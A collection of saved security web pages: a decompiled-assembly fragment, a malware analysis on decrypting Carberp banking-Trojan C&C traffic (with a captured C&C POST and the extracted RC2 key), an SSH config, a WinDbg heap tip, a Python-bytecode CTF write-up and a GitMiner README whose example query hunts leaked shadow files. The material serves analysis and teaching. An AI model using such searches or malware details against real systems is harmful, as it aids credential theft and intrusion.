        MEMORY(uint8_t, rbp-11) = 2; // mov byte ptr [rbp - 0xb], 2
        MEMORY(uint8_t, rbp-10) = 3; // mov byte ptr [rbp - 0xa], 3
        MEMORY(uint8_t, rbp-9) = 4; // mov byte ptr [rbp - 9], 4
        MEMORY(uint32_t, rbp-16) = 0; // mov dword ptr [rbp - 0x10], 0
        MEMORY(uint8_t, rbp-17) = 0; // mov byte ptr [rbp - 0x11], 0
        goto _32; // jmp 0x32
    _1d:; 
        rbx = 0, eax = MEMORY(uint8_t, rbp-17); // movzx eax, byte ptr [rbp - 0x11]
        // cdqe not implemented yet; 
        rbx = 0, eax = MEMORY(uint8_t, rbp+rax*1-12); // movzx eax, byte ptr [rbp + rax - 0xc]
        rbx = 0, eax = al; // movsx eax, al
        TMP32(MEMORY(uint32_t, rbp-16), +, eax); // add dword ptr [rbp - 0x10], eax
          SET_CF_ADD(32, MEMORY(uint32_t, rbp-16));
          SET_ZF(32);
          SET_AF_0(MEMORY(uint8_t, rbp-16), al);
          SET_OF_ADD(MEMORY(uint32_t, rbp-16), eax, 32, 0x80000000);
            MEMORY(uint32_t, rbp-16) = tmp32;
        TMP8(MEMORY(uint8_t, rbp-17), +, 1); // add byte ptr [rbp - 0x11], 1
          SET_CF_ADD(8, MEMORY(uint8_t, rbp-17));
          SET_ZF(8);
          SET_AF_0(MEMORY(uint8_t, rbp-17), 1);
          SET_OF_ADD(MEMORY(uint8_t, rbp-17), 1, 8, 0x80);
            MEMORY(uint8_t, rbp-17) = tmp8;
    _32:; 
        TMP8(MEMORY(uint8_t, rbp-17), -, 3); // cmp byte ptr [rbp - 0x11], 3
          SET_CF_SUB(MEMORY(uint8_t, rbp-17), 3);
          SET_ZF(8);
          SET_AF_0(MEMORY(uint8_t, rbp-17), 3);
          SET_OF_SUB(MEMORY(uint8_t, rbp-17), 3, 8, 0x80);
        if(cf == 1 || zf == 1)
          goto _1d; // jbe 0x1d
    }
    
    int main() {
        rbp = 20;
        // here we set env (regs, memory)
        func();
        // sum is 10
        printf("%d\n", MEMORY(uint8_t, rbp-0x10));
    }
    
    
[/code]

  

# S21sec Security Blog: Decrypting Carberp C&C communication

**Created:**| _7/15/2011 2:27:43 PM_  
---|---  
**Updated:**| _7/15/2011 2:27:43 PM_  
**Author:**| __  
**Tags:**| _botnets Malware-analysis network-security_  
  

##

###  Decrypting Carberp C&C communication

Carberp is a recently \(2010\) discovered banking Trojan. Although it is not
as well known as the currently dominating banking Trojans, such as ZeuS or
SpyEye, we can’t simply ignore it due to its powerful capabilities, which may
lead it to greater success in the future. The main characteristics of Carberp
are:

  * It comes with three plugins: MiniAV, StopAV and Passw. MiniAV is a generic mini-antivirus which was designed to kill specific trojans or other uncategorized possibly malicious applications that had been heuristically considered as malware. It includes a disinfection mechanism against ZeuS, Adrenalin, Limbo, Barracuda and BlackEnergy. That a malicious application would contain a built-in mini antivirus is not something new, we have seen it before with Tatanga as well. The plugin StopAV’s purpose is to take out \(kill\) various antivirus products, meanwhile the plugin Passw contains password stealing functionality for various applications \(ftp, pop3, passwords from Window registry…\).

  * It has a very sophisticated installation mechanism which includes remote code injection into the default webbrowser and svchost.exe, and contains a payload which tries to exploit a vulnerability in the operating system \(MS08-025\). This executes code in the kernel which restores various system hooks used by security applications, thereby concealing the Trojan.

  * Together with backdoor functionality and HTML injection it is able to perform Man-in-the-Browser type attacks against the victims.

Recent variants of Carberp encrypt communication with the C&C, which makes
further observation and monitorization of the trojan a more complex task. A
Wireshark extension, customized for this purpose, would come in very handy.
You can download it from here together with an example .pcap file, source code
also included \(however it was probed with 32bit version of Wireshark only\).

  

<img src='img/Temp2_7081.png' />

  

In the above example we can see the plugin in action as the Trojan received an
"updateconfig" command from its C&C server. The installation of the plugin is
simple; we just have to put it into the "plugins" directory inside Wireshark’s
folder. To verify that the plugin is loaded correctly, we have to check that
it appears in the list, in the menu Analyze/Enabled Protocols:

  

<img src='img/Temp2_7082.png' />

  

There is one more thing to look at that we have not mentioned yet, the
algorithm that Carberp uses to encrypt its traffic:

  

POST /clssvoarsm.phtm HTTP/1.1

Accept: \*/\*

User-Agent: Mozilla/4.0 \(compatible; MSIE 6.0; Windows NT 5.1; SV1\)

Host: sandravsxpanel.cz.cc

Connection: Close

Content-Type: application/x-www-form-urlencoded

Content-Length: 691

cchq=**KRQ5** 5AVXERssj8SabRbGQFPODZUhZxjdZY9QgPAaGwhjb1%2FEqCdQneoEfXMET

LcYNneVMlpNcMSCwEFGLhSABClbFY8G5AZak5JOk4l8JY1UiZzgmSQWdJFmFYFw77u29

7TRAoJWs4k7zgCKRrwudgtxbdiP62OJOiKSyJ0OCd75ZmYKP4uLo1h3nPT%2BNLn2Zdr

amAU31TfsdLmbf4F%2F3lo%2FS3d00bdbzGZC4oYSIu8Ci9Qw6WCISy8LBBX1LFBS3Y7

S5A633XS5GVyylgvwDCPC%2Fsp47pBFRWa%2Bblnq4NkUnkkyszrnFxgxFfO76kVfzSz

FZAC8xcDnkrBMyr%2BRvINHn3PMdf4jGWImLFT%2BN8r8mDSAz%2FFkOJaxi7OlsiH30

6btuph1s0MG%2F1fLnxxBhsRcssrPVB4Q6VP%2BAOUaDLg26n5XhMbHskphPkhDTyIPZ

lc9LPsAfMG4dfd9PhOGzBJFH9kaAb2kC4WDtU%2BnZcuYoH2advviTm9wtcz4ZASW5kx

HPgkVw9uP73fnNEs1QHdGB57V9G57bd2qdmoZ%2BOojFrtOilpizUQ9cxBvl7nGj%2Bs

%2FuAPWVV%2FXOb1tyoMmtHmSY0BqoXzksdaK2%2FDU%2BGUfkDgV95MiLXd%2FG6hXe

5zXAEXH**54ji**

  

The first and last four bytes of the message \(marked in red\) are needed for
initialize the decryption and they are randomly generated at each POST. The
data between are base64 encoded + RC2 algorithm. Apart from the randomly
generated "short" keys which are 8 bytes in total, there is a "long" key which
consists of 16 bytes and is hardcoded inside the binary and we need to extract
it. Fortunately it is not that hard to spot it:

  

<img src='img/Temp2_7080.png' />

  

By taking a memory dump of the malware, loading it into a disassembler we can
spot the right function by looking for the hash value "618ADDBEh". It’s not
clear the purpose of this hash, most probably this value belongs to a default
decryption key. By the way, our "long" key is "rsg7?GhdHB16\_Rbf" however we
still have to apply a byte XOR with value 05 to get the final
**wvb2zBmaMG43ZWgc** key.

  

<img src='img/Temp2_7079.png' />

  

Once we have got the key, we have to pass it to the plugin in order to get it
work. Menu Edit/Preferences/Protocols and that’s all, ready to sniff an
infected machine ;\)

  

_Jozsef Gegeny_

 _S21sec e-crime_

# MarioVilas/network\_tools

**Created:**| _5/28/2017 11:06:22 AM_  
---|---  
**Updated:**| _5/28/2017 11:06:22 AM_  
**Author:**| __  
**Tags:**| _ssh_  
  

  

Raw Blame History

Open this file in GitHub Desktop

38 lines \(27 sloc\)  860 Bytes

1 | \# OpenSSH client configuration  
---|---  
2 | \# Mario Vilas \(https://github.com/MarioVilas\)  
3 |   
4 | \# Optionally enable this insecure algorithm.  
5 | \# Required to log in to some old boxes.  
6 | \#KexAlgorithms +diffie-hellman-group1-sha1  
7 |   
8 | \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#  
9 |   
10 | \# Example host configuration.  
11 | \# Add a different key for each host\!  
12 | Host example  
13 |  Host 192.168.1.1  
14 |  Port 22222  
15 |  User root  
16 |  PubkeyAuthentication yes  
17 |  IdentityFile /home/user/.ssh/example.priv  
18 |   
19 | \# Add more hosts here...  
20 |   
21 | \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#  
22 |   
23 | \# Default configuration for hosts not listed above.  
24 | Host \*  
25 |   
26 |  \# Default username is root.  
27 |  \# This prevents leaking your own username.  
28 |  User root  
29 |   
30 |  \# Disables IPv6.  
31 |  AddressFamily inet  
32 |   
33 |  \# Prevents the "too many authentication attempts" SSH bug.  
34 |  RSAAuthentication no  
35 |  PubkeyAuthentication no  
36 |  IdentitiesOnly yes  
37 |   
  

# Fermín J. Serna - Zhodiac - Vast and Infinite Net Dreams...

**Created:**| _1/3/2012 4:32:03 PM_  
---|---  
**Updated:**| _1/3/2012 4:32:03 PM_  
**Author:**| __  
**Tags:**| _analysis vulnerability windbg Heap_  
  

Lets say you have found a use-after-free on program X where at some point it
is dereferencing a register plus an offset.  
  
You could:  
  
1\) Open IDA an lookup where the object got created to see the size of the
allocation.  
2\) Use page heap, windbg and take a look to the allocation stack trace  
3\) Windbg \!heap -p -a  
  
Or... a quick trick I used today, taking advantage of page heap placing the
object at the end of a page for catching buffer overflows.  
  
1:022:x86> ? 0x1000-\(ebx&0x00000FFF\)  
Evaluate expression: 88 = **00000058** <\--- size of chunk  
1:022:x86>  
  
Fermin J. Serna - @fjserna  

# Gynvael’s Mission 11 \(en\): Python bytecode reverse-engineering

**Created:**| _9/4/2017 9:33:52 AM_  
---|---  
**Updated:**| _9/4/2017 9:33:52 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

Gynvael Coldwind is a security researcher at Google, who hosts weekly
livestreams about security and programming in Polish and English\). As part of
the streams, he gives out missions — basically, CTF-style reverse engineering
tasks. Yesterday’s mission was about Elvish — I mean Paint — I mean Python
programming and bytecode.

[code]

    MISSION 011               goo.gl/13Bia9             DIFFICULTY: ██████░░░░ [6╱10]
    ┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅┅
    
    Finally some real work!
    
    One of our field agents managed to infiltrate suspects hideout and steal a
    pendrive possibly containing important information. However, the pendrive
    actually requires one to authenticate themselves before accessing the stored
    files.
    
    We gave the pendrive to our laboratory and they managed to dump the firmware. We
    looked at the deadlisting they sent and for our best knowledge it's some form of
    Elvish. We can't read it.
    
    Here is the firmware: goo.gl/axsAHt
    
    And off you go. Bring us back the password.
    
    Good luck!
    
    ---------------------------------------------------------------------------------
    
    If you decode the answer, put it in the comments under this video! If you write
    a blogpost / post your solution online, please add a link in the comments too!
    
    P.S. I'll show/explain the solution on the stream in ~two weeks.
    P.S.2. Bonus points for recreating the original high-level code.
    
[/code]

Here’s the firmware:

[code]

    co_argcount 1
    co_consts (None, '4e5d4e92865a4e495a86494b5a5d49525261865f5758534d4a89', 'hex', 89, 255, 115, 50)
    co_flags 67
    co_name check_password
    co_names ('decode', 'len', 'False', 'all', 'zip', 'ord')
    co_nlocals 4
    co_stacksize 6
    co_varnames ('s', 'good', 'cs', 'cg')
                  0 LOAD_CONST               1
                  3 LOAD_ATTR                0
                  6 LOAD_CONST               2
                  9 CALL_FUNCTION            1
                 12 STORE_FAST               1
                 15 LOAD_GLOBAL              1
                 18 LOAD_FAST                0
                 21 CALL_FUNCTION            1
                 24 LOAD_GLOBAL              1
                 27 LOAD_FAST                1
                 30 CALL_FUNCTION            1
                 33 COMPARE_OP               3 (!=)
                 36 POP_JUMP_IF_FALSE       43
                 39 LOAD_GLOBAL              2
                 42 RETURN_VALUE
            >>   43 LOAD_GLOBAL              3
                 46 BUILD_LIST               0
                 49 LOAD_GLOBAL              4
                 52 LOAD_FAST                0
                 55 LOAD_FAST                1
                 58 CALL_FUNCTION            2
                 61 GET_ITER
            >>   62 FOR_ITER                52 (to 117)
                 65 UNPACK_SEQUENCE          2
                 68 STORE_FAST               2
                 71 STORE_FAST               3
                 74 LOAD_GLOBAL              5
                 77 LOAD_FAST                2
                 80 CALL_FUNCTION            1
                 83 LOAD_CONST               3
                 86 BINARY_SUBTRACT
                 87 LOAD_CONST               4
                 90 BINARY_AND
                 91 LOAD_CONST               5
                 94 BINARY_XOR
                 95 LOAD_CONST               6
                 98 BINARY_XOR
                 99 LOAD_GLOBAL              5
                102 LOAD_FAST                3
                105 CALL_FUNCTION            1
                108 COMPARE_OP               2 (==)
                111 LIST_APPEND              2
                114 JUMP_ABSOLUTE           62
            >>  117 CALL_FUNCTION            1
                120 RETURN_VALUE
    
[/code]

To the uninitiated, this might look like _Elvish_. In reality, this is Python
bytecode — the instruction set understood by Python’s \(CPython 2.7\) virtual
machine. Python, like many other languages, uses a compiler to translate
human-readable source code into something more appropriate for computers.
Python code compiles to bytecode, which is then executed by CPython’s virtual
machine. CPython bytecode can be ported between different hardware, while
machine code cannot. However, machine code can often be faster than languages
based on virtual machines and bytecode. \(Java and C\# work the same way as
Python, C compiles directly to machine code\)

This is the internal representation of a Python function. The first few lines
are the member variables of the `f.__code__` object of our function. We know
that:

  * it takes 1 argument
  * it has 7 constants: None, a long string of hex digits, the string `'hex'`, and numbers: 89, 255, 115, 50.
  * its flags are set to 67 \(CO\_NOFREE, CO\_NEWLOCALS, CO\_OPTIMIZED\). This is the “standard” value that most uncomplicated functions take.
  * its name is `check_password`
  * it uses the following globals or attribute names: `decode`, `len`, `False`, `all`, `zip`, `ord`
  * it has 4 local variables
  * it uses a stack of size 6
  * its variables are named `s`, `good`, `cs`, `cg`

There are two ways to solve this task: you can re-assemble the `dis` output
with the help of the `opcode` module, or try to re-create the function by
hand, using the bytecode. I chose the latter method.

## Reverse-engineering Python bytecode: re-creating the function by hand¶

I started by recreating the original firmware file. I created an empty
function and wrote some code to print out `__code__` contents and `dis.dis`
output. I also added color-coding to help me read it:

[code]

    #!/usr/bin/env python2
    import dis
    import sys
    
    # Write code here
    def check_password(s):
        pass
    
    # Reverse engineering the code
    cnames = ('co_argcount', 'co_consts', 'co_flags', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames')
    cvalues = (1, (None, '4e5d4e92865a4e495a86494b5a5d49525261865f5758534d4a89', 'hex', 89, 255, 115, 50), 67, 'check_password', ('decode', 'len', 'False', 'all', 'zip', 'ord'), 4, 6, ('s', 'good', 'cs', 'cg'))
    
    for n, ov in zip(cnames, cvalues):
        v = getattr(check_password.__code__, n)
        if v == ov:
            sys.stderr.write('\033[1;32m')
        else:
            sys.stderr.write('\033[1;31m')
        sys.stderr.flush()
    
        sys.stdout.write(str(n) + " " + str(v) + "\n")
        sys.stdout.flush()
    
        sys.stderr.write('\033[0m')
        sys.stderr.flush()
    
    dis.dis(check_password)
    
[/code]

If we run this solver, we get the following output \(text in brackets added by
me\):

[code]

    co_argcount 1            [OK]
    co_consts (None,)        [1/7 match]
    co_flags 67              [OK]
    co_name check_password   [OK]
    co_names ()              [0/6 match]
    co_nlocals 1             [should be 4]
    co_stacksize 1           [should be 6]
    co_varnames ('s',)       [1/4 match]
      7           0 LOAD_CONST               0 (None)
                  3 RETURN_VALUE
    
[/code]

We can see \(with the help of colors, not reproduced here\), that we’ve got
`co_argcount`, `co_flags`, `co_name` correctly. We also have one constant
\(`None`, in every function\) and one variable name \(`s`, the argument
name\). We can also see `dis.dis()` output. While it looks similar to the
assignment, there are a few noticeable differences: there is no `7` \(line
number\) at the start, and `LOAD_CONST` instructions in the original code did
not have anything in parentheses \(only comparisions and loops did\). This
makes reading bytecode harder, but still possible. \(I originally thought
about using `diff` for help, but it’s not hard to do it by hand. I did use
`diff` for the final checking after a manual “conversion”\)

Let’s stop to look at the constants and names for a second. The long string is
followed by `hex`, and one of the constants is `decode`. This means that we
need to use `str.decode('hex')` to create a \(byte\)string of some
information. Puzzle answers tend to be human-readable, and this string isn’t —
so we need to do some more work.

So, let’s try reproducing the start of the original mission code using what
we’ve just discussed. Python’s VM is based on a stack. In the bytecode above,
you can see that instructions take 0 or 1 arguments. Some of them put things
on the stack, others do actions and remove them. Most instruction names are
self-explanatory, but the full list can be found in the dis module
documentation.

Instructions like `LOAD` and `STORE` refer to indices in the
constants/names/varnames tuples. To make it easier, here’s a “table” of them:

[code]

    constants
     0     1                                                       2      3   4    5    6
    (None, '4e5d4e92865a4e495a86494b5a5d49525261865f5758534d4a89', 'hex', 89, 255, 115, 50)
    
    names (globals, attributes)
     0         1      2        3      4      5
    ('decode', 'len', 'False', 'all', 'zip', 'ord')
    
    varnames (locals, _fast)
     0    1       2     3
    ('s', 'good', 'cs', 'cg')
    
[/code]

In order to improve readability, I will use “new” `dis` output with names in
parentheses below:

[code]

     0 LOAD_CONST               1 ('4e5d4e92865a4e495a86494b5a5d49525261865f5758534d4a89')
     3 LOAD_ATTR                0 (decode)
     6 LOAD_CONST               2 ('hex')
     9 CALL_FUNCTION            1 # function takes 1 argument from stack
    12 STORE_FAST               1 (good)
    
[/code]

As I guessed before, the first line of our function is as follows:

[code]

    def check_password(s):
        good = '4e5d4e92865a4e495a86494b5a5d49525261865f5758534d4a89'.decode('hex')  # new
    
[/code]

If we run the solver again, we’ll see that the first 12 bytes of our bytecode
match the mission text. We can also see that `varnames` is filled in half,
we’ve added two constants, and one name. The next few lines are as follows:

[code]

    15 LOAD_GLOBAL              1
    18 LOAD_FAST                0
    21 CALL_FUNCTION            1
    24 LOAD_GLOBAL              1
    27 LOAD_FAST                1
    30 CALL_FUNCTION            1
    33 COMPARE_OP               3 (!=)
    36 POP_JUMP_IF_FALSE       43
    39 LOAD_GLOBAL              2
    42 RETURN_VALUE
    
[/code]

We can see that we’re putting a global object on stack and calling it with one
argument. In both cases, the global has the index 1, that’s `len`. The two
arguments are `s` and `good`. We put both lengths on stack, then compare them.
If the comparison fails \(they’re equal\), we jump to the instruction starting
at byte 43, otherwise we continue execution to load the second global
\(False\) and return it. This wall of text translates to the following simple
code:

[code]

    def check_password(s):
        good = '4e5d4e92865a4e495a86494b5a5d49525261865f5758534d4a89'.decode('hex')
        if len(s) != len(good):  # new
            return False         # new
    
[/code]

Let’s take another look at our names. We can see we’re missing `all`, `zip`,
`ord`. You can already see a common pattern here: we will iterate over both
strings at once \(using `zip`\), do some math based on the character’s codes
\(`ord`\), and then check if `all` results \(of a comparison, usually\) are
truthy.

Here’s the bytecode with value annotations and comments, which explain what
happens where:

[code]

    >>   43 LOAD_GLOBAL              3 (all)
         46 BUILD_LIST               0
         49 LOAD_GLOBAL              4 (zip)
         52 LOAD_FAST                0 (s)
         55 LOAD_FAST                1 (good)
         58 CALL_FUNCTION            2           # zip(s, good)
         61 GET_ITER                             # Start iterating: iter()
    >>   62 FOR_ITER                52 (to 117)  # for loop iteration start (if iterator exhausted, jump +52 bytes to position 117)
         65 UNPACK_SEQUENCE          2           # unpack a sequence (a, b = sequence)
         68 STORE_FAST               2 (cs)      # cs = item from s
         71 STORE_FAST               3 (cg)      # cg = item from good
         74 LOAD_GLOBAL              5 (ord)
         77 LOAD_FAST                2 (cs)
         80 CALL_FUNCTION            1           # put ord(cs) on stack
         83 LOAD_CONST               3 (89)
         86 BINARY_SUBTRACT                      # - 89   [subtract 89 from topmost value]
         87 LOAD_CONST               4 (255)
         90 BINARY_AND                           # & 255  [bitwise AND with topmost value]
         91 LOAD_CONST               5 (115)
         94 BINARY_XOR                           # ^ 115  [bitwise XOR with topmost value]
         95 LOAD_CONST               6 (50)
         98 BINARY_XOR                           # ^ 50   [bitwise XOR with topmost value]
         99 LOAD_GLOBAL              5 (ord)
        102 LOAD_FAST                3 (cg)
        105 CALL_FUNCTION            1           # put ord(cs) on stack
        108 COMPARE_OP               2 (==)      # compare the two values on stack
        111 LIST_APPEND              2           # append topmost value to the list in topmost-1; pop topmost (append to list created in comprehension)
        114 JUMP_ABSOLUTE           62           # jump back to start of loop
    >>  117 CALL_FUNCTION            1           # after loop: call all([list comprehension result])
        120 RETURN_VALUE                         # return value returned by all()
    
[/code]

We can now write the full answer.

listings/gynvaels-mission-11-en/mission11.py \(Source\)

[code]

    def check_password(s):
        good = '4e5d4e92865a4e495a86494b5a5d49525261865f5758534d4a89'.decode('hex')
        if len(s) != len(good):
            return False
    
        return all([ord(cs) - 89 & 255 ^ 115 ^ 50 == ord(cg) for cs, cg in zip(s, good)])
    
[/code]

In the end, our `dis.dis()` output matches the mission text \(except the
removed values, but their IDs do match\), our `co_*` variables are all green,
and we can get to work on solving the puzzle itself\!

**Side note:** this task uses a list comprehension. You might want to optimize
it, remove the brackets, and end up with a generator expression. This would
make the task harder, since would require working with the internal generator
code object as well:

[code]

    co_consts (None, '4e5d4e92865a4e495a86494b5a5d49525261865f5758534d4a89', 'hex', <code object <genexpr> at 0x104a86c30, file "mission11-genexpr.py", line 11>)
    
    46 LOAD_CONST               3 (<code object <genexpr> at 0x104a86c30, file "mission11-genexpr.py", line 11>)
    
[/code]

`BINARY_*` and `ord` disappeared from the new listing. You can see the
modified code \(which differs by two bytes\) and solver output.

## Solving the real puzzle¶

I solved the extra credit part of the puzzle. The _real_ aim of the puzzle was
to recover the password — the text for which `check_password()` will return
True.

This part is pretty boring. I built a dictionary, where I mapped every byte
\(0…255\) to the result of the calculation done in the `check_password()`
function’s loop. Then I used that to recover the original text.

[code]

    pass_values = {}
    for i in range(256):
        result = i - 89 & 255 ^ 115 ^ 50
        pass_values[result] = i
    
    good = '4e5d4e92865a4e495a86494b5a5d49525261865f5758534d4a89'.decode('hex')
    password = ''
    for c in good:
        password += chr(pass_values[ord(c)])
    
    print(password)
    print(check_password(password))
    
[/code]

**The password is:** `huh, that actually worked!`.

## What was that Paint thing about?¶

> Yesterday’s mission was about Elvish — **I mean Paint** — I mean Python
> programming.
> — yours truly in this post’s teaser
Most of my readers were probably puzzled by the mention of Paint. Long-time
viewers of Gynvael’s streams in Polish remember the Python 101 video he posted
on April Fools last year. See original video, explanation, code \(video and
explanation are both Polish; you can get the gist of the video without hearing
the audio commentary though.\) **Spoilers ahead.**

In that prank, Gynvael taught Python basics. The first part concerned itself
with writing bytecode by hand. The second part \(starts around 12:00\) was
about drawing custom Python modules. In Paint. Yes, Paint, the simple graphics
program included with Microsoft Windows. He drew a custom Python module in
Paint, and saved it using the BMP format. It looked like this \(zoomed PNG
below; download gynmod.bmp\):

<img src='img/Temp2_3539.png' width='16' height='128' alt='/images/gynvaels-
mission-11-en/gynmod-zoom.png' />

How was this done? There are three things that come into play:

  * Python can import modules from a ZIP file \(if it’s appended to sys.path\). Some tools that produce `.exe` files of Python code use this technique; the old `.egg` file format also used ZIPs this way.
  * BMP files have their header at the start of a file.
  * ZIP files have their header at the end of a file.
  * Thus, one file can be a valid BMP and ZIP at the same time.

I took the code of `check_password` and put it in `mission11.py` \(which I
already cited above\). Then I compiled to `.pyc` and created a `.zip` out of
it.

listings/gynvaels-mission-11-en/mission11.py \(Source\)

[code]

    def check_password(s):
        good = '4e5d4e92865a4e495a86494b5a5d49525261865f5758534d4a89'.decode('hex')
        if len(s) != len(good):
            return False
    
        return all([ord(cs) - 89 & 255 ^ 115 ^ 50 == ord(cg) for cs, cg in zip(s, good)])
    
[/code]

Since I’m not an expert in any of the formats, I booted my Windows virtual
machine and blindly copied the parameters used by Gynvael to open the ZIP file
\(renamed `.raw`\) in IrfanView and saved as `.bmp`. I changed the size to
83×2, because my ZIP file was 498 bytes long \(3 BPP \* 83 px \* 2 px = 498
bytes\) — by doing that, and through sheer luck with the size, I could avoid
adding comments and editing the ZIP archive. I ended up with this \(PNG again;
download mission11.bmp\):

<img src='img/Temp2_3540.png' width='332' height='8' alt='/images/gynvaels-
mission-11-en/mission11-zoom.png' />

The `.bmp` file is runnable\! We can use this code:

listings/gynvaels-mission-11-en/ziprunner.py \(Source\)

[code]

    #!/usr/bin/env python2
    
    import sys
    sys.path.append("mission11.bmp")
    
    import mission11
    print "Result:", mission11.check_password('huh, that actually worked!')
    
[/code]

And we get this:

<img src='img/Temp2_3538.png' width='793' height='475' alt='/images/gynvaels-
mission-11-en/running-bmp.png' />

## Resources¶

  * mission11-solver.py \(full solver code\)
  * mission11-genexpr.py, mission11-genexpr.txt \(used for side note regarding generator expressions vs. list comprehensions\)
  * mission11.py code, used in BMP file
  * ziprunner.py, file that runs the BMP/ZIP module \(adapted from Gynvael’s\)
  * gynmod.bmp
  * mission11.bmp
  * dis module documentation.

Thanks for the mission \(and BMP idea\), Gynvael\!

  

# UnkL4b/GitMiner

**Created:**| _9/23/2018 8:53:42 AM_  
---|---  
**Updated:**| _9/23/2018 8:53:42 AM_  
**Author:**| _wishi_  
**Tags:**| _Git OSINT_  
  

  

# Join GitHub today

GitHub is home to over 28 million developers working together to host and
review code, manage projects, and build software together.

Sign up

Find file

Clone or download

###  README.md

<img
src='img/68747470733a2f2f332e62702e626c6f6773706f742e636f6d2f2d557670525f5144444154302f5674694963384f4b7272492f4141414141414141626f4d2f3639424e4b7276645573552f73313630302f6769746d696e65722d363238783336302e706e67.png'
width='576' height='330' alt='Screenshot' />

[code]

     + Autor: UnK
     + Blog: https://unkl4b.github.io
     + Github: https://github.com/danilovazb
     + Twitter: https://twitter.com/danilo_vaz_
    
[/code]

## WARNING

[code]

     +---------------------------------------------------+
     | DEVELOPERS ASSUME NO LIABILITY AND ARE NOT        |
     | RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY    |
     | THIS PROGRAM                                      |
     +---------------------------------------------------+
    
[/code]

### DESCRIPTION

[code]

    Advanced search tool and automation in Github.
    This tool aims to facilitate research by code or code 
    snippets on github through the site's search page.
    
[/code]

### MOTIVATION

Demonstrates the fragility of trust in public repositories to store codes with
sensitive information.

### REQUIREMENTS

[code]

    lxml
    requests
    argparse
    json
    re
    
[/code]

### INSTALL

[code]

    $ git clone http://github.com/UnkL4b/GitMiner
    
    $ cd GitMiner
    
    ~/GitMiner $ pip3 install -r requirements.txt
    
[/code]

### Docker

[code]

    $ git clone http://github.com/UnkL4b/GitMiner
    $ cd GitMiner
    $ docker build -t gitminer .
    $ docker run -it gitminer -h
    
[/code]

### HELP

[code]

                                     UnkL4b
      __                   Automatic search for Github
    ((OO))   ▄████  ██▓▄▄▄█████▓ ███▄ ▄███▓ ██▓ ███▄    █ ▓█████  ██▀███  
     \__/   ██▒ ▀█▒▓██▒▓  ██▒ ▓▒▓██▒▀█▀ ██▒▓██▒ ██ ▀█   █ ▓█   ▀ ▓██ ▒ ██▒      OO
      |^|  ▒██░▄▄▄░▒██▒▒ ▓██░ ▒░▓██    ▓██░▒██▒▓██  ▀█ ██▒▒███   ▓██ ░▄█ ▒      oOo
      | |  ░▓█  ██▓░██░░ ▓██▓ ░ ▒██    ▒██ ░██░▓██▒  ▐▌██▒▒▓█  ▄ ▒██▀▀█▄      OoO
      | |  ░▒▓███▀▒░██░  ▒██▒ ░ ▒██▒   ░██▒░██░▒██░   ▓██░░▒████▒░██▓ ▒██▒  /oOo 
      | |___░▒___▒_░▓____▒_░░___░_▒░___░__░░▓__░_▒░___▒_▒_░░_▒░_░░_▒▓_░▒▓░_/ /
      \______░___░__▒_░____░____░__░______░_▒_░░_░░___░_▒░_░_░__░__░▒_░_▒░__/  v2.0
           ░ ░   ░  ▒ ░  ░      ░      ░    ▒ ░   ░   ░ ░    ░     ░░   ░ 
                 ░  ░                  ░    ░           ░    ░  ░   ░     
    
      -> github.com/UnkL4b
      -> unkl4b.github.io
    
      +---------------------[WARNING]---------------------+
      | DEVELOPERS ASSUME NO LIABILITY AND ARE NOT        |
      | RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY    |
      | THIS PROGRAM                                      |
      +---------------------------------------------------+ 
           [-h] [-q 'filename:shadow path:etc']
           [-m wordpress] [-o result.txt]
           [-r '/^\s*.*?;?\s*$/gm']
           [-c _octo=GH1.1.2098292984896.153133829439; _ga=GA1.2.36424941.153192375318; user_session=oZIxL2_ajeDplJSndfl37ddaLAEsR2l7myXiiI53STrfhqnaN; __Host-user_session_same_site=oXZxv9_ajeDplV0gAEsmyXiiI53STrfhDN; logged_in=yes; dotcom_user=unkl4b; tz=America%2FSao_Paulo; has_recent_activity=1; _gh_sess=MmxxOXBKQ1RId3NOVGpGcG54aEVnT1o0dGhxdGdzWVpySnFRd1dVYUk5TFZpZXFuTWxOdW1FK1IyM0pONjlzQWtZM2xtaFR3ZDdxlGMCsrWnBIdnhUN0tjVUtMYU1GeG5Pbm5DMThuWUFETnZjcllGOUNkRGUwNUtKOVJTaGR5eUJYamhWRE5XRnMWZZN3Y3dlpFNDZXL1NWUEN4c093RFhQd3RJQ1NBdmhrVDE3VVNiUFF3dHBycC9FeDZ3cFVXV0ZBdXZieUY5WDRlOE9ZSG5sNmRHUmllcmk0Up1MTcyTXZrN1RHYmJSdz09--434afdd652b37745f995ab55fc83]
    
    optional arguments:
      -h, --help            show this help message and exit
      -q 'filename:shadow path:etc', --query 'filename:shadow path:etc'
                            Specify search term
      -m wordpress, --module wordpress
                            Specify the search module
      -o result.txt, --output result.txt
                            Specify the output file where it will be
                            saved
      -r '/^\s*(.*?);?\s*$/gm', --regex '/^\s*(.*?);?\s*$/gm'
                            Set regex to search in file
